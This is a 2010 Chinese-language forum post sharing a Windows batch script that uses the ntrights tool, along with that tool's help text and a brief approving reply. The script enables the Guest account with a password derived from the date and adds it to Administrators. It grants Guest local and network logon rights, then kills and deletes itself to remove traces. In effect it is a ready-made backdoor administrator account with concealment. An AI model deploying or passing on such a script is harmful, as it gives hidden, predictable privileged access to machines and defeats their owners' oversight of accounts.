标题: 批处理修改本地策略组的又一狠法
[打印本页]
作者: leonlo
时间: 2010-7-11 16:14
标题: 批处理修改本地策略组的又一狠法
Ntrights 工具设置用户的本地组策略的权限,下面地方可以下载Windows2003ResourceKitTools 解压后可以找到此工具。
http://www.microsoft.com/downloa ... 7-96ee-b18c4790cffd
下面给你举个例子,修改guest的本地/网络登录权限。
@echo off
for /f "tokens=2,3 delims=- " %%a in ('date /t') do (set str1=1%%a%%b)
set /a pas=%str1%+2430-9254
net user guest %pas% /ACTIVE
net localgroup administrators guest /add
SETLOCAL
set path=%myfiles%
ntrights -u guest -r SeDenyInteractiveLogonRight
::去掉guest“拒绝本地登录”权限
Ntrights -u guest +r SeInteractiveLogonRight
::加上guest“允许本地登录”权限
Ntrights -u guest -r SeDenyNetworkLogonRight
::去掉guest“拒绝网络登录”权限
Ntrights -u guest +r SeNetworkLogonRight
::加上guest“允许网络登录”权限
ENDLOCAL
::以下为自删除部分
set f_n="%~nx0"
set f_p="%~dp0"
ping -n 1 127.1 >nul 2>nul
taskkill /f /im %f_n%
del /f /q %f_p%\%f_n%
pause
exit
此工具还支持网络操作,如下是这个工具的帮助,希望能对你有用。
NTRights.Exe - Beta Version by Georg Zanzen
Grants/Revokes NT-Rights to a user/group
usage: -u xxx User/Group
-m \\xxx machine to perform the operation on (default local machine)
-e xxxxx Add xxxxx to the event log
-r xxx revokes the xxx right
+r xxx grants the xxx right
valid NTRights are:
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeUnsolicitedInputPrivilege
SeMachineAccountPrivilege
SeTcbPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
作者: csanycall
时间: 2010-7-12 09:54
不错,仔细研究中!